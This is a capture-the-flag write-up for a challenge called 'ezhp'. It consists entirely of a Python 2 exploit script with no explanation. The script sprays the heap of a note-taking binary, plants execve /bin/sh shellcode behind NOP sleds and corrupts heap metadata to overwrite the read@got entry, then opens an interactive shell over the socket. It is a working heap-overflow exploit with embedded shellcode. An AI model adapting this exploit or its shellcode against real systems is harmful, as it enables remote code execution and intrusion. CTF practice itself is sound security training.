ezhp write-up

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, telnetlib

def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a):
  return struct.pack("<I",a)

# linux/x86/execve_binsh
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

while True:
  s, f = sock("localhost", 9174)
  #s, f = sock("katagaitai.orz.hm", 2222)

  print "[+] make dummy note"
  for i in xrange(4):
    read_until(f, "Please choose an option.\n")
    f.write("1\n10\n")

  print "[+] make heap"
  for i in xrange(9):
    read_until(f, "Please choose an option.\n")
    sz = 0x1100000
    f.write("1\n"+str(sz)+"\n")

  print "[+] make shellcode"
  for i in xrange(9):
    sz = 300
    read_until(f, "Please choose an option.\n")
    f.write("3\n"+str(i+2)+"\n" + str(sz) + "\n")
    read_until(f, "Please input your data.\n")
    f.write("\x90\x90\xeb\x10" + "\x90"*(sz-len(shellcode)-4) + shellcode + "\n")

  print "[+] make pop->pop->ret(rwx) in heap"
  read_until(f, "Please choose an option.\n")
  f.write("3\n1\n1024\n")
  read_until(f, "Please input your data.\n")
  #f.send("A"*12 + p(0xFFFFFFFF) + p(0xBBBBBBBB) + p(0xCCCCCCCC) + "\n")
  f.write("\x90"*12 + p(0xc) + p(0x0804a050-8) + p(0x08c35d5d) + "\n") # 5d = pop ebp; c3 = ret;
  read_until(f, "Please choose an option.\n")
  f.write("2\n2\n")

  print "[+] rewrite read@got (if hang-up, press Ctrl+C)"
  try:
    read_until(f, "Please choose an option.\n")
    f.write("3\n0\n1024\n")
    read_until(f, "Please input your data.\n")
    f.write("\xeb\x40" + "\x90"*10 + p(0xc) + p(0x0804a000-8) + p(0x0804a050) + "\n")
    read_until(f, "Please choose an option.\n")
    f.write("2\n1\n")
  except:
    print "[-] malloc-ed address is not so good..."
    continue

  print "[+] tirgger"
  read_until(f, "Please choose an option.\n")
  f.write("3\n0\n100\n")
  read_until(f, "Please input your data.\n")

  print "got shell :)"
  shell(s)